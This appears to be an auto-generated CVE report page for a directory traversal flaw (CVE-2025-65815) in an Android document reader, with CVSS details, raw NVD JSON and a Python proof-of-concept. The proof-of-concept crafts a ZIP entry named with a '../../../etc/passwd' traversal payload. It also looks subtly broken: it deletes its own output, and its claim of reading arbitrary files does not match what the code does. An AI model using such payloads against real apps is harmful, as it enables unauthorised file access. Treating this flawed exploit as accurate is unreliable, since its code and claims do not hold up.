Security Vulnerability Report
中文
CVE-2025-65815 CVSS 6.5 MEDIUM

CVE-2025-65815

Published: 2025-12-10 17:15:55
Last Modified: 2026-01-02 21:24:35

Description

A lack of security checks in the file import process of AB TECHNOLOGY Document Reader: PDF, DOC, PPT v65.0 allows attackers to execute a directory traversal.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:uniteddevelopers:document_reader\:_pdf\,_doc\,_ppt:65.0:*:*:*:*:android:*:* - VULNERABLE
AB TECHNOLOGY Document Reader: PDF, DOC, PPT v65.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import zipfile import shutil from pathlib import Path def create_poc_zip(): """ Generate PoC for CVE-2025-65815: Directory Traversal in AB TECHNOLOGY Document Reader This PoC demonstrates how to craft a malicious file with path traversal characters to read arbitrary files from the target system. Usage: Create a ZIP file containing a document with path traversal payload """ # Path traversal payload to read sensitive files traversal_payload = "../../../etc/passwd" # Create malicious filename with traversal characters malicious_filename = f"{traversal_payload}_malicious.txt" # Content to be written/read poc_content = "PoC for CVE-2025-65815 - Directory Traversal" # Create temporary directory temp_dir = Path("poc_temp") temp_dir.mkdir(exist_ok=True) # Create the malicious file malicious_file = temp_dir / malicious_filename malicious_file.write_text(poc_content) # Create ZIP archive zip_path = temp_dir / "exploit.zip" with zipfile.ZipFile(zip_path, 'w') as zf: zf.write(malicious_file, arcname=malicious_filename) print(f"[+] PoC ZIP created: {zip_path}") print(f"[+] Malicious filename: {malicious_filename}") print(f"[+] Traversal path: {traversal_payload}") print("\n[!] To exploit: Import this ZIP file through the vulnerable Document Reader") # Cleanup shutil.rmtree(temp_dir) def check_vulnerable_version(version_string): """ Check if the version is affected by CVE-2025-65815 """ affected = "65.0" return version_string == affected if __name__ == "__main__": create_poc_zip() # Example version check test_version = "65.0" print(f"\nVersion {test_version} vulnerable: {check_vulnerable_version(test_version)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65815", "sourceIdentifier": "[email protected]", "published": "2025-12-10T17:15:55.270", "lastModified": "2026-01-02T21:24:34.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of security checks in the file import process of AB TECHNOLOGY Document Reader: PDF, DOC, PPT v65.0 allows attackers to execute a directory traversal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uniteddevelopers:document_reader\\:_pdf\\,_doc\\,_ppt:65.0:*:*:*:*:android:*:*", "matchCriteriaId": "549D751D-E6A7-4981-AA36-A7A6CE15C708"}]}]}], "references": [{"url": "https://developer.android.com/privacy-and-security/risks/untrustworthy-contentprovider-provided-filename", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/7", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Issue Tracking"]}]}}